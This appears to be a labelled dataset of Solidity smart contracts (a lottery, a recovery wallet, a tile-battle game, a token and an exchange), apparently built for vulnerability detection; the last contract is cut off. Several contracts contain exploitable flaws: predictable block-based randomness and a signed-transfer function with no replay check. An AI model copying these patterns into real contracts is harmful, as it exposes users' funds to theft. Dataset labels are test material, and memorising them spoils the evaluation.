source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.4.7;
contract bet1000 {
enum State { Started, Locked }
State public state = State.Started;
struct Guess{
address addr;
uint guess;
}
uint constant arraysize=1000;
uint constant maxguess=1000000;
uint bettingprice = 0.01 ether;
Guess[1000] guesses;
uint numguesses = 0;
bytes32 curhash = '';
uint stasticsarrayitems = 20;
uint[20] statistics;
uint _gameindex = 1;
struct Winner{
address addr;
}
Winner[1000] winnners;
uint numwinners = 0;
modifier inState(State _state) {
require(state == _state);
_;
}
address constant developer = 0x001973f023e4c03ef60ea34084b63e7790d463e595;
event SentPrizeToWinner(address winner, uint money, uint guess, uint gameindex, uint lotterynumber, uint timestamp);
event SentDeveloperFee(uint amount, uint balance);
function bet1000(uint _bettingprice)
{
bettingprice = _bettingprice;
}
function findWinners(uint value) returns (uint)
{
numwinners = 0;
uint lastdiff = maxguess;
uint i = 0;
int diff = 0;
uint guess = 0;
for (i = 0; i < numguesses; i++) {
diff = (int)((int)(value)-(int)(guesses[i].guess));
if(diff<0)
diff = diff*-1;
if(lastdiff>(uint)(diff)){
guess = guesses[i].guess;
lastdiff = (uint)(diff);
}
}
for (i = 0; i < numguesses; i++) {
diff = (int)((int)(value)-(int)(guesses[i].guess));
if(diff<0)
diff = diff*-1;
if(lastdiff==uint(diff)){
winnners[numwinners++].addr = guesses[i].addr;
}
}
return guess;
}
function getDeveloperFee() constant returns(uint)
{
uint developerfee = this.balance/100;
return developerfee;
}
function getBalance() constant returns(uint)
{
return this.balance;
}
function getLotteryMoney() constant returns(uint)
{
uint developerfee = getDeveloperFee();
uint prize = (this.balance - developerfee)/(numwinners<1?1:numwinners);
return prize;
}
function getBettingStastics()
payable
returns(uint[20])
{
require(msg.value == bettingprice*3);
return statistics;
}
function getBettingStatus()
constant
returns (uint, uint, uint, uint, uint)
{
return ((uint)(state), numguesses, getLotteryMoney(), this.balance, bettingprice);
}
function finish()
{
state = State.Locked;
uint lotterynumber = (uint(curhash)+block.timestamp)%(maxguess+1);
var guess = findWinners(lotterynumber);
uint prize = getLotteryMoney();
uint remain = this.balance - (prize*numwinners);
for (uint i = 0; i < numwinners; i++) {
address winner = winnners[i].addr;
winner.transfer(prize);
SentPrizeToWinner(winner, prize, guess, _gameindex, lotterynumber, block.timestamp);
}
SentDeveloperFee(remain, this.balance);
developer.transfer(remain);
numguesses = 0;
for (i = 0; i < stasticsarrayitems; i++) {
statistics[i] = 0;
}
_gameindex++;
state = State.Started;
}
function addguess(uint guess)
inState(State.Started)
payable
{
require(msg.value == bettingprice);
uint divideby = maxguess/stasticsarrayitems;
curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
if((uint)(numguesses+1)<=arraysize) {
guesses[numguesses++] = Guess(msg.sender, guess);
uint statindex = guess / divideby;
if(statindex>=stasticsarrayitems) statindex = stasticsarrayitems-1;
statistics[statindex] ++;
if((uint)(numguesses)>=arraysize){
finish();
}
}
}
}
contract bet1000_001eth is bet1000(0.01 ether){
function bet1000_001eth(){
}
} | 0 | 1,349 |
pragma solidity ^0.4.15;
contract NYX {
bytes32 emergencyHash;
address authority;
address public owner;
bytes32 resqueHash;
bytes32 keywordHash;
bytes32[10] photoHashes;
uint resqueRequestTime;
uint authorityRequestTime;
uint lastExpenseTime;
bool public lastChanceEnabled = false;
bool lastChanceUseResqueAccountAddress = true;
event NYXDecentralizedIdentificationRequest(string swarmLinkPhoto, string swarmLinkVideo);
enum Stages {
Normal,
ResqueRequested,
AuthorityRequested
}
Stages stage = Stages.Normal;
function NYX(bytes32 resqueAccountHash, address authorityAccount, bytes32 kwHash, bytes32[10] photoHshs) {
owner = msg.sender;
resqueHash = resqueAccountHash;
authority = authorityAccount;
keywordHash = kwHash;
uint8 x = 0;
while(x < photoHshs.length)
{
photoHashes[x] = photoHshs[x];
x++;
}
}
modifier onlyByResque()
{
require(keccak256(msg.sender) == resqueHash);
_;
}
modifier onlyByAuthority()
{
require(msg.sender == authority);
_;
}
modifier onlyByOwner() {
require(msg.sender == owner);
_;
}
modifier onlyByEmergency(string keywordPhrase) {
require(keccak256(keywordPhrase, msg.sender) == emergencyHash);
_;
}
function toggleLastChance(bool useResqueAccountAddress) onlyByOwner()
{
require(stage == Stages.Normal);
lastChanceEnabled = !lastChanceEnabled;
lastChanceUseResqueAccountAddress = useResqueAccountAddress;
}
function transferByOwner(address recipient, uint amount) onlyByOwner() payable {
require(stage == Stages.Normal);
require(amount <= this.balance);
require(recipient != address(0x0));
recipient.transfer(amount);
lastExpenseTime = now;
}
function withdrawByResque() onlyByResque() {
if(stage != Stages.ResqueRequested)
{
resqueRequestTime = now;
stage = Stages.ResqueRequested;
return;
}
else if(now <= resqueRequestTime + 1 days)
{
return;
}
require(stage == Stages.ResqueRequested);
msg.sender.transfer(this.balance);
}
function setEmergencyAccount(bytes32 emergencyAccountHash, bytes32 photoHash) onlyByAuthority() {
require(photoHash != 0x0 && emergencyAccountHash != 0x0);
uint8 x = 0;
bool authorized = false;
while(x < photoHashes.length)
{
if(photoHashes[x] == keccak256(photoHash))
{
authorized = true;
break;
}
x++;
}
require(authorized);
authorityRequestTime = now;
stage = Stages.AuthorityRequested;
emergencyHash = emergencyAccountHash;
}
function withdrawByEmergency(string keyword) onlyByEmergency(keyword)
{
require(now > authorityRequestTime + 1 days);
require(keccak256(keyword) == keywordHash);
require(stage == Stages.AuthorityRequested);
msg.sender.transfer(this.balance);
}
function lastChance(address recipient, address resqueAccount)
{
if(!lastChanceEnabled || now <= lastExpenseTime + 61 days)
return;
if(lastChanceUseResqueAccountAddress)
require(keccak256(resqueAccount) == resqueHash);
recipient.transfer(this.balance);
}
function() payable
{
require(stage == Stages.Normal);
}
} | 0 | 1,007 |
pragma solidity ^0.4.21;
library BWUtility {
function ceil(uint _amount, uint _multiple) pure public returns (uint) {
return ((_amount + _multiple - 1) / _multiple) * _multiple;
}
function isAdjacent(uint8 _x1, uint8 _y1, uint8 _x2, uint8 _y2) pure public returns (bool) {
return ((_x1 == _x2 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_y1 == _y2 && (_x2 - _x1 == 1 || _x1 - _x2 == 1))) ||
((_x2 - _x1 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1))) ||
((_x1 - _x2 == 1 && (_y2 - _y1 == 1 || _y1 - _y2 == 1)));
}
function toTileId(uint8 _x, uint8 _y) pure public returns (uint16) {
return uint16(_x) << 8 | uint16(_y);
}
function fromTileId(uint16 _tileId) pure public returns (uint8, uint8) {
uint8 y = uint8(_tileId);
uint8 x = uint8(_tileId >> 8);
return (x, y);
}
function getBoostFromTile(address _claimer, address _attacker, address _defender, uint _blockValue) pure public returns (uint, uint) {
if (_claimer == _attacker) {
return (_blockValue, 0);
} else if (_claimer == _defender) {
return (0, _blockValue);
}
}
}
contract BWData {
address public owner;
address private bwService;
address private bw;
address private bwMarket;
uint private blockValueBalance = 0;
uint private feeBalance = 0;
uint private BASE_TILE_PRICE_WEI = 1 finney;
mapping (address => User) private users;
mapping (uint16 => Tile) private tiles;
struct User {
uint creationTime;
bool censored;
uint battleValue;
}
struct Tile {
address claimer;
uint blockValue;
uint creationTime;
uint sellPrice;
}
struct Boost {
uint8 numAttackBoosts;
uint8 numDefendBoosts;
uint attackBoost;
uint defendBoost;
}
constructor() public {
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
modifier isValidCaller {
if (msg.sender != bwService && msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
function setBwServiceValidCaller(address _bwService) public isOwner {
bwService = _bwService;
}
function setBwValidCaller(address _bw) public isOwner {
bw = _bw;
}
function setBwMarketValidCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function addUser(address _msgSender) public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime == 0);
user.creationTime = block.timestamp;
}
function hasUser(address _user) view public isValidCaller returns (bool) {
return users[_user].creationTime != 0;
}
function getTile(uint16 _tileId) view public isValidCaller returns (address, uint, uint, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue, currentTile.creationTime, currentTile.sellPrice);
}
function getTileClaimerAndBlockValue(uint16 _tileId) view public isValidCaller returns (address, uint) {
Tile storage currentTile = tiles[_tileId];
return (currentTile.claimer, currentTile.blockValue);
}
function isNewTile(uint16 _tileId) view public isValidCaller returns (bool) {
Tile storage currentTile = tiles[_tileId];
return currentTile.creationTime == 0;
}
function storeClaim(uint16 _tileId, address _claimer, uint _blockValue) public isValidCaller {
tiles[_tileId] = Tile(_claimer, _blockValue, block.timestamp, 0);
}
function updateTileBlockValue(uint16 _tileId, uint _blockValue) public isValidCaller {
tiles[_tileId].blockValue = _blockValue;
}
function setClaimerForTile(uint16 _tileId, address _claimer) public isValidCaller {
tiles[_tileId].claimer = _claimer;
}
function updateTileTimeStamp(uint16 _tileId) public isValidCaller {
tiles[_tileId].creationTime = block.timestamp;
}
function getCurrentClaimerForTile(uint16 _tileId) view public isValidCaller returns (address) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return 0;
}
return currentTile.claimer;
}
function getCurrentBlockValueAndSellPriceForTile(uint16 _tileId) view public isValidCaller returns (uint, uint) {
Tile storage currentTile = tiles[_tileId];
if (currentTile.creationTime == 0) {
return (0, 0);
}
return (currentTile.blockValue, currentTile.sellPrice);
}
function getBlockValueBalance() view public isValidCaller returns (uint){
return blockValueBalance;
}
function setBlockValueBalance(uint _blockValueBalance) public isValidCaller {
blockValueBalance = _blockValueBalance;
}
function getFeeBalance() view public isValidCaller returns (uint) {
return feeBalance;
}
function setFeeBalance(uint _feeBalance) public isValidCaller {
feeBalance = _feeBalance;
}
function getUserBattleValue(address _userId) view public isValidCaller returns (uint) {
return users[_userId].battleValue;
}
function setUserBattleValue(address _userId, uint _battleValue) public isValidCaller {
users[_userId].battleValue = _battleValue;
}
function verifyAmount(address _msgSender, uint _msgValue, uint _amount, bool _useBattleValue) view public isValidCaller {
User storage user = users[_msgSender];
require(user.creationTime != 0);
if (_useBattleValue) {
require(_msgValue == 0);
require(user.battleValue >= _amount);
} else {
require(_amount == _msgValue);
}
}
function addBoostFromTile(Tile _tile, address _attacker, address _defender, Boost memory _boost) pure private {
if (_tile.claimer == _attacker) {
require(_boost.attackBoost + _tile.blockValue >= _tile.blockValue);
_boost.attackBoost += _tile.blockValue;
_boost.numAttackBoosts += 1;
} else if (_tile.claimer == _defender) {
require(_boost.defendBoost + _tile.blockValue >= _tile.blockValue);
_boost.defendBoost += _tile.blockValue;
_boost.numDefendBoosts += 1;
}
}
function calculateBattleBoost(uint16 _tileId, address _attacker, address _defender) view public isValidCaller returns (uint, uint) {
uint8 x;
uint8 y;
(x, y) = BWUtility.fromTileId(_tileId);
Boost memory boost = Boost(0, 0, 0, 0);
if (y != 255) {
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y+1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y+1)], _attacker, _defender, boost);
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y+1)], _attacker, _defender, boost);
}
}
if (x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y)], _attacker, _defender, boost);
}
if (x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y)], _attacker, _defender, boost);
}
if (y != 0) {
if(x != 255) {
addBoostFromTile(tiles[BWUtility.toTileId(x+1, y-1)], _attacker, _defender, boost);
}
addBoostFromTile(tiles[BWUtility.toTileId(x, y-1)], _attacker, _defender, boost);
if(x != 0) {
addBoostFromTile(tiles[BWUtility.toTileId(x-1, y-1)], _attacker, _defender, boost);
}
}
boost.attackBoost = (boost.attackBoost / 10 * boost.numAttackBoosts);
boost.defendBoost = (boost.defendBoost / 10 * boost.numDefendBoosts);
return (boost.attackBoost, boost.defendBoost);
}
function censorUser(address _userAddress, bool _censored) public isValidCaller {
User storage user = users[_userAddress];
require(user.creationTime != 0);
user.censored = _censored;
}
function deleteTile(uint16 _tileId) public isValidCaller {
delete tiles[_tileId];
}
function setSellPrice(uint16 _tileId, uint _sellPrice) public isValidCaller {
tiles[_tileId].sellPrice = _sellPrice;
}
function deleteOffer(uint16 _tileId) public isValidCaller {
tiles[_tileId].sellPrice = 0;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20I {
function transfer(address _recipient, uint256 _amount) external returns (bool);
function balanceOf(address _holder) external view returns (uint256);
}
contract BWService {
using SafeMath for uint256;
address private owner;
address private bw;
address private bwMarket;
BWData private bwData;
uint private seed = 42;
uint private WITHDRAW_FEE = 5;
uint private ATTACK_FEE = 5;
uint private ATTACK_BOOST_CAP = 300;
uint private DEFEND_BOOST_CAP = 300;
uint private ATTACK_BOOST_MULTIPLIER = 100;
uint private DEFEND_BOOST_MULTIPLIER = 100;
mapping (uint16 => address) private localGames;
modifier isOwner {
if (msg.sender != owner) {
revert();
}
_;
}
modifier isValidCaller {
if (msg.sender != bw && msg.sender != bwMarket) {
revert();
}
_;
}
event TileClaimed(uint16 tileId, address newClaimer, uint priceInWei, uint creationTime);
event TileFortified(uint16 tileId, address claimer, uint addedValueInWei, uint priceInWei, uint fortifyTime);
event TileAttackedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint attackTime);
event TileDefendedSuccessfully(uint16 tileId, address attacker, uint attackAmount, uint totalAttackAmount, address defender, uint defendAmount, uint totalDefendAmount, uint attackRoll, uint defendTime);
event BlockValueMoved(uint16 sourceTileId, uint16 destTileId, address owner, uint movedBlockValue, uint postSourceValue, uint postDestValue, uint moveTime);
event UserBattleValueUpdated(address userAddress, uint battleValue, bool isWithdraw);
constructor(address _bwData) public {
bwData = BWData(_bwData);
owner = msg.sender;
}
function () payable public {
revert();
}
function kill() public isOwner {
selfdestruct(owner);
}
function setValidBwCaller(address _bw) public isOwner {
bw = _bw;
}
function setValidBwMarketCaller(address _bwMarket) public isOwner {
bwMarket = _bwMarket;
}
function setWithdrawFee(uint _feePercentage) public isOwner {
WITHDRAW_FEE = _feePercentage;
}
function setAttackFee(uint _feePercentage) public isOwner {
ATTACK_FEE = _feePercentage;
}
function setAttackBoostMultipler(uint _multiplierPercentage) public isOwner {
ATTACK_BOOST_MULTIPLIER = _multiplierPercentage;
}
function setDefendBoostMultiplier(uint _multiplierPercentage) public isOwner {
DEFEND_BOOST_MULTIPLIER = _multiplierPercentage;
}
function setAttackBoostCap(uint _capPercentage) public isOwner {
ATTACK_BOOST_CAP = _capPercentage;
}
function setDefendBoostCap(uint _capPercentage) public isOwner {
DEFEND_BOOST_CAP = _capPercentage;
}
function storeInitialClaim(address _msgSender, uint16[] _claimedTileIds, uint _claimAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
require(_claimAmount >= 1 finney * tileCount);
require(_claimAmount % tileCount == 0);
uint valuePerBlockInWei = _claimAmount.div(tileCount);
require(valuePerBlockInWei >= 5 finney);
if (_useBattleValue) {
subUserBattleValue(_msgSender, _claimAmount, false);
}
addGlobalBlockValueBalance(_claimAmount);
uint16 tileId;
bool isNewTile;
for (uint16 i = 0; i < tileCount; i++) {
tileId = _claimedTileIds[i];
isNewTile = bwData.isNewTile(tileId);
require(isNewTile);
emit TileClaimed(tileId, _msgSender, valuePerBlockInWei, block.timestamp);
bwData.storeClaim(tileId, _msgSender, valuePerBlockInWei);
}
}
function fortifyClaims(address _msgSender, uint16[] _claimedTileIds, uint _fortifyAmount, bool _useBattleValue) public isValidCaller {
uint tileCount = _claimedTileIds.length;
require(tileCount > 0);
address(this).balance.add(_fortifyAmount);
require(_fortifyAmount % tileCount == 0);
uint addedValuePerTileInWei = _fortifyAmount.div(tileCount);
require(_fortifyAmount >= 1 finney * tileCount);
address claimer;
uint blockValue;
for (uint16 i = 0; i < tileCount; i++) {
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_claimedTileIds[i]);
require(claimer != 0);
require(claimer == _msgSender);
if (_useBattleValue) {
subUserBattleValue(_msgSender, addedValuePerTileInWei, false);
}
fortifyClaim(_msgSender, _claimedTileIds[i], addedValuePerTileInWei);
}
}
function fortifyClaim(address _msgSender, uint16 _claimedTileId, uint _fortifyAmount) private {
uint blockValue;
uint sellPrice;
(blockValue, sellPrice) = bwData.getCurrentBlockValueAndSellPriceForTile(_claimedTileId);
uint updatedBlockValue = blockValue.add(_fortifyAmount);
emit TileFortified(_claimedTileId, _msgSender, _fortifyAmount, updatedBlockValue, block.timestamp);
bwData.updateTileBlockValue(_claimedTileId, updatedBlockValue);
addGlobalBlockValueBalance(_fortifyAmount);
}
function random(uint _upper) private returns (uint) {
seed = uint(keccak256(blockhash(block.number - 1), block.coinbase, block.timestamp, seed, address(0x3f5CE5FBFe3E9af3971dD833D26bA9b5C936f0bE).balance));
return seed % _upper;
}
function attackTile(address _msgSender, uint16 _tileId, uint _attackAmount, bool _useBattleValue) public isValidCaller {
require(_attackAmount >= 1 finney);
require(_attackAmount % 1 finney == 0);
address claimer;
uint blockValue;
(claimer, blockValue) = bwData.getTileClaimerAndBlockValue(_tileId);
require(claimer != 0);
require(claimer != _msgSender);
require(claimer != owner);
uint attackBoost;
uint defendBoost;
(attackBoost, defendBoost) = bwData.calculateBattleBoost(_tileId, _msgSender, claimer);
attackBoost = attackBoost.mul(ATTACK_BOOST_MULTIPLIER).div(100);
defendBoost = defendBoost.mul(DEFEND_BOOST_MULTIPLIER).div(100);
if (attackBoost > _attackAmount.mul(ATTACK_BOOST_CAP).div(100)) {
attackBoost = _attackAmount.mul(ATTACK_BOOST_CAP).div(100);
}
if (defendBoost > blockValue.mul(DEFEND_BOOST_CAP).div(100)) {
defendBoost = blockValue.mul(DEFEND_BOOST_CAP).div(100);
}
uint totalAttackAmount = _attackAmount.add(attackBoost);
uint totalDefendAmount = blockValue.add(defendBoost);
require(totalAttackAmount.div(10) <= totalDefendAmount);
require(totalAttackAmount >= totalDefendAmount.div(10));
uint attackFeeAmount = _attackAmount.mul(ATTACK_FEE).div(100);
uint attackAmountAfterFee = _attackAmount.sub(attackFeeAmount);
updateFeeBalance(attackFeeAmount);
uint attackRoll = random(totalAttackAmount.add(totalDefendAmount));
if (attackRoll > totalDefendAmount) {
bwData.setClaimerForTile(_tileId, _msgSender);
if (_useBattleValue) {
addUserBattleValue(_msgSender, attackAmountAfterFee);
subUserBattleValue(_msgSender, attackAmountAfterFee, false);
} else {
addUserBattleValue(_msgSender, attackAmountAfterFee);
}
addUserBattleValue(claimer, 0);
bwData.updateTileTimeStamp(_tileId);
emit TileAttackedSuccessfully(_tileId, _msgSender, attackAmountAfterFee, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
} else {
bwData.setClaimerForTile(_tileId, claimer);
if (_useBattleValue) {
subUserBattleValue(_msgSender, attackAmountAfterFee, false);
}
addUserBattleValue(claimer, attackAmountAfterFee);
emit TileDefendedSuccessfully(_tileId, _msgSender, attackAmountAfterFee, totalAttackAmount, claimer, blockValue, totalDefendAmount, attackRoll, block.timestamp);
}
}
function updateFeeBalance(uint attackFeeAmount) private {
uint feeBalance = bwData.getFeeBalance();
feeBalance = feeBalance.add(attackFeeAmount);
bwData.setFeeBalance(feeBalance);
}
function moveBlockValue(address _msgSender, uint8 _xSource, uint8 _ySource, uint8 _xDest, uint8 _yDest, uint _moveAmount) public isValidCaller {
uint16 sourceTileId = BWUtility.toTileId(_xSource, _ySource);
uint16 destTileId = BWUtility.toTileId(_xDest, _yDest);
address sourceTileClaimer;
address destTileClaimer;
uint sourceTileBlockValue;
uint destTileBlockValue;
(sourceTileClaimer, sourceTileBlockValue) = bwData.getTileClaimerAndBlockValue(sourceTileId);
(destTileClaimer, destTileBlockValue) = bwData.getTileClaimerAndBlockValue(destTileId);
uint newBlockValue = sourceTileBlockValue.sub(_moveAmount);
require(newBlockValue == 0 || newBlockValue >= 5 finney);
require(sourceTileClaimer == _msgSender);
require(destTileClaimer == _msgSender);
require(_moveAmount >= 1 finney);
require(_moveAmount % 1 finney == 0);
require(BWUtility.isAdjacent(_xSource, _ySource, _xDest, _yDest));
sourceTileBlockValue = sourceTileBlockValue.sub(_moveAmount);
destTileBlockValue = destTileBlockValue.add(_moveAmount);
if (sourceTileBlockValue == 0) {
bwData.deleteTile(sourceTileId);
} else {
bwData.updateTileBlockValue(sourceTileId, sourceTileBlockValue);
bwData.deleteOffer(sourceTileId);
}
bwData.updateTileBlockValue(destTileId, destTileBlockValue);
bwData.deleteOffer(destTileId);
emit BlockValueMoved(sourceTileId, destTileId, _msgSender, _moveAmount, sourceTileBlockValue, destTileBlockValue, block.timestamp);
}
function verifyAmount(address _msgSender, uint _msgValue, uint _amount, bool _useBattleValue) view public isValidCaller {
if (_useBattleValue) {
require(_msgValue == 0);
require(bwData.getUserBattleValue(_msgSender) >= _amount);
} else {
require(_amount == _msgValue);
}
}
function setLocalGame(uint16 _tileId, address localGameAddress) public isOwner {
localGames[_tileId] = localGameAddress;
}
function getLocalGame(uint16 _tileId) view public isValidCaller returns (address) {
return localGames[_tileId];
}
function withdrawBattleValue(address msgSender, uint _battleValueInWei) public isValidCaller returns (uint) {
uint fee = _battleValueInWei.mul(WITHDRAW_FEE).div(100);
uint amountToWithdraw = _battleValueInWei.sub(fee);
uint feeBalance = bwData.getFeeBalance();
feeBalance = feeBalance.add(fee);
bwData.setFeeBalance(feeBalance);
subUserBattleValue(msgSender, _battleValueInWei, true);
return amountToWithdraw;
}
function addUserBattleValue(address _userId, uint _amount) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
uint newBattleValue = userBattleValue.add(_amount);
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, false);
}
function subUserBattleValue(address _userId, uint _amount, bool _isWithdraw) public isValidCaller {
uint userBattleValue = bwData.getUserBattleValue(_userId);
require(_amount <= userBattleValue);
uint newBattleValue = userBattleValue.sub(_amount);
bwData.setUserBattleValue(_userId, newBattleValue);
emit UserBattleValueUpdated(_userId, newBattleValue, _isWithdraw);
}
function addGlobalBlockValueBalance(uint _amount) public isValidCaller {
uint blockValueBalance = bwData.getBlockValueBalance();
bwData.setBlockValueBalance(blockValueBalance.add(_amount));
}
function subGlobalBlockValueBalance(uint _amount) public isValidCaller {
uint blockValueBalance = bwData.getBlockValueBalance();
bwData.setBlockValueBalance(blockValueBalance.sub(_amount));
}
function transferTokens(address _tokenAddress, address _recipient) public isOwner {
ERC20I token = ERC20I(_tokenAddress);
require(token.transfer(_recipient, token.balanceOf(this)));
}
} | 0 | 674 |
pragma solidity 0.4.24;
contract Token {
function totalSupply() constant returns (uint supply) {}
function balanceOf(address _owner) constant returns (uint balance) {}
function transfer(address _to, uint _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
function approve(address _spender, uint _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
function transfer(address _to, uint _value) returns (bool) {
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& allowance >= _value
&& balances[_to] + _value >= balances[_to]
) {
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract BTrustToken is UnboundedRegularToken {
uint public totalSupply = 2000000000000000000000000000;
uint8 constant public decimals = 18;
string constant public name = "BTrustToken";
string constant public symbol = "BTRC";
function BTrustToken() {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | 1 | 2,412 |
pragma solidity ^0.4.25;
contract Token {
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract NescrowExchangeService {
address owner = msg.sender;
uint256 public feeRateLimit = 200;
uint256 public takerFeeRate = 0;
uint256 public makerFeeRate = 0;
address public feeAddress;
mapping (address => bool) public admins;
mapping (bytes32 => uint256) public orderFills;
mapping (bytes32 => bool) public withdrawn;
mapping (bytes32 => bool) public transfers;
mapping (address => mapping (address => uint256)) public balances;
mapping (address => uint256) public tradesLocked;
mapping (address => uint256) public disableFees;
mapping (address => uint256) public tokenDecimals;
mapping (address => bool) public tokenRegistered;
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
event Deposit(address token, address user, uint256 amount, uint256 balance);
event Withdraw(address token, address user, uint256 amount, uint256 balance);
event TradesLock(address user);
event TradesUnlock(address user);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 constant ORDER_TYPEHASH = keccak256("Order(address sell,address buy,uint256 sellAmount,uint256 buyAmount,uint256 withdrawOnTrade,uint256 sellSide,uint256 expires,uint256 nonce)");
bytes32 constant ORDER_WITH_TIPS_TYPEHASH = keccak256("OrderWithTips(address sell,address buy,uint256 sellAmount,uint256 buyAmount,uint256 withdrawOnTrade,uint256 sellSide,uint256 expires,uint256 nonce,uint256 makerTips,uint256 takerTips)");
bytes32 constant WITHDRAWAL_TYPEHASH = keccak256("Withdrawal(address withdrawToken,uint256 amount,uint256 nonce)");
bytes32 constant TIPS_TYPEHASH = keccak256("Tips(address tipsToken,uint256 amount,uint256 nonce)");
bytes32 constant TRANSFER_TYPEHASH = keccak256("Transfer(address transferToken,address to,uint256 amount,uint256 nonce)");
bytes32 DOMAIN_SEPARATOR;
function domainHash(EIP712Domain eip712Domain) internal pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(eip712Domain.name)),
keccak256(bytes(eip712Domain.version)),
eip712Domain.chainId,
eip712Domain.verifyingContract
));
}
constructor() public {
DOMAIN_SEPARATOR = domainHash(EIP712Domain({
name: "Nescrow Exchange",
version: '1',
chainId: 1,
verifyingContract: this
}));
tokenRegistered[0x0] = true;
tokenDecimals[0x0] = 18;
}
function setOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function getOwner() public view returns (address out) {
return owner;
}
function setAdmin(address admin, bool isAdmin) external onlyOwner {
admins[admin] = isAdmin;
}
function deposit() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(msg.sender, address(0), amount);
}
function depositToken(address token, uint256 amount) external {
require(amount > 0);
require(safeTransferFrom(token, msg.sender, this, toTokenAmount(token, amount)));
increaseBalance(msg.sender, token, amount);
}
function depositTokenByAdmin(address user, address token, uint256 amount)
external onlyAdmin {
require(amount > 0);
require(safeTransferFrom(token, user, this, toTokenAmount(token, amount)));
increaseBalance(user, token, amount);
}
function sendTips() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(feeAddress, address(0), amount);
}
function transferTips(address token, uint256 amount, address fromUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TIPS_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
require(!transfers[hash]);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(feeAddress, token, amount);
}
function transfer(address token, uint256 amount, address fromUser, address toUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TRANSFER_TYPEHASH, token, toUser, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(toUser, token, amount);
}
